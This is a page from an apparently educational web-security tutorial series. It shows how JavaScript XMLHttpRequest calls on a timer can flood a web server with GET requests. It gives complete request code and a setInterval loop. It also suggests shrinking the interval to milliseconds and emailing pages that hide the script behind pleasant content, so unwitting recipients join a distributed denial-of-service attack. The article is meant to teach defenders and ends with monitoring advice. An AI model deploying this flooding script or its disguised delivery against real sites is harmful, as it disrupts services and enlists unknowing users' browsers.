Programmatic GET Requests with JavaScript: Simple Way to Hack Your Site
Trying to secure a website is a continual and frustrating process. Attacks, like Denial of Service, can come from many directions, especially when your web applications cannot reject external requests. Alegandro Gervasio shows us some valuable JavaScript in this article meant to help you secure your sites.
Programmatic GET Requests with JavaScript: Simple Way to Hack Your Site - Massive HTTP requests: Using a Timer (Page 5 of 5 )
In first place, I’ll define a basic XHTML document, “example_file.htm” that will be used as the target for the script. It’s as simple as this:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Example document</title> </head> <body> <h1>Welcome to our super cool site!</h1> </body> </html>
Now, the next thing to do is including the previous functions in a new document, as listed below:
// function getXMLHTTPObject function getXMLHTTPObject(){ //instantiate new XMLHTTP object var objhttp=(window.XMLHttpRequest)?new XMLHttpRequest():new ActiveXObject('Microsoft.XMLHTTP'); if(!objhttp){return}; // assign event handler objhttp.onreadystatechange=displayStatus; return objhttp; } // function sendRequest function sendRequest(url,data,method,header){ // get XMLHTTP object objhttp=getXMLHTTPObject(); // set default values if(!url){url='default_url.htm'}; if(!data){data='defaultdata=defaultvalue'}; if(!method){method='get'}; if(!header){header='Content-Type:text/html; charset=iso-8859-1'}; // open socket connection in asyncronous mode objhttp.open(method,url,true); // send header objhttp.setRequestHeader(header.split(':')[0],header.split(':')[1]); // send data objhttp.send(data); // return xmlhttp object return objhttp; } // function displayStatus function displayStatus(){ if(objhttp.readyState==4){ // create paragraph elements var parStat=document.createElement('p'); var parText=document.createElement('p'); var parResp=document.createElement('p'); // assign ID attributes parStat.id='status'; parText.id='text'; parResp.id='response'; // append text nodes parStat.appendChild(document.createTextNode('Status : '+objhttp.status)); parText.appendChild(document.createTextNode('Status text : '+objhttp.statusText)); parResp.appendChild(document.createTextNode('Document code : '+objhttp.responseText)); // insert <p> elements into document tree document.body.appendChild(parStat); document.body.appendChild(parText); document.body.appendChild(parResp); } }
Lastly, the whole code is executed when the page is loaded:
// execute code when page is loaded window.onload=function(){ if(document.createElement&&document.createTextNode){ sendRequest('example_file.htm'); } }
That was simple, huh? Once the page is loaded, the script makes a GET request to the server, using “example_file.htm” as the target file. If the process is successfully completed, the status code is displayed on the browser, along with the source code for the sample file.
At this point, maybe you’re wondering how the script can be considered as harmful code? Well, let’s replace the line that sends a single request, with this line:
// execute function when page is loaded window.onload=function(){ if(document.createElement&&document.createTextNode){ // send get request every 2 seconds setInterval("sendRequest('example_file.htm');",2*1000); } }
Now things look a little bit different. I’ve used the JavaScript “setInterval()” function to wrap up the “sendRequest()” method, specifying a time interval in the execution of two seconds. With this simple snippet, I’m requesting “example_file.htm” every two seconds. Definitively, things get even worse if the requested file is performing some kind of database operation or another resource-consuming task.
I could go one step further, by reducing the interval between requests to milliseconds, without compromising significantly computational resources on the client machine, since the requests are made is asynchronous mode.
But there is still another addition. Usually, this kind of attacks are performed from multiple machines that send massive requests to the targeted server, thus a malicious attacker might send by email to several innocent recipients, the link that points to the above script, hiding its real purpose with innocent content, such as appealing landscape pictures, remarkable quotes or whatever you can imagine.
As long as the recipient is delighting his/her eyes with pleasant content, the script will be sending in the background massive requests to the selected server. Certainly not a fun situation for the victim.
Asides from sending programmatic requests, this method allows tampering URLs with external data, without the need to work directly with a browser’s address bar, which introduces yet another conflictive security issue.
As you probably know, very often the same technique can be used for opposite purposes. In this case, I’ve demonstrated that denial of service attacks are feasible of being carried out with a few lines of JavaScript code.
Wrapping up
That’s all for now. Over this first part of the series, I’ve explained in detail how unprotected websites can be targeted as possible victims of attackers, using only web-based techniques. The only real requirements are a basic knowledge about the XMLHttpRequest object and JavaScript.
Considering this situation, levels of traffic should be always monitored, as well as incoming user input from GET/POST requests and cookies. If you get unusual traffic on your site or receive unexpected data, make sure you’re armed with the proper tools to reject potential attacks.
In the next part of the series, I’ll take a look at another attack technique, using the same XMLHttpRequest object: automated post form submissions. Thus, get ready to learn more about http-based attacks, in order to avoid its undesirable effects. See you next week!
DISCLAIMER: The content provided in this article is not warranted or guaranteed by Developer Shed, Inc. The content provided is intended for entertainment and/or educational purposes in order to introduce to the reader key ideas, concepts, and/or product reviews. As such it is incumbent upon the reader to employ real-world tactics for security and implementation of best practices. We are not liable for any negative consequences that may result from implementing any information covered in our articles or tutorials. If this is a hardware review, it is not recommended to open and/or modify your hardware.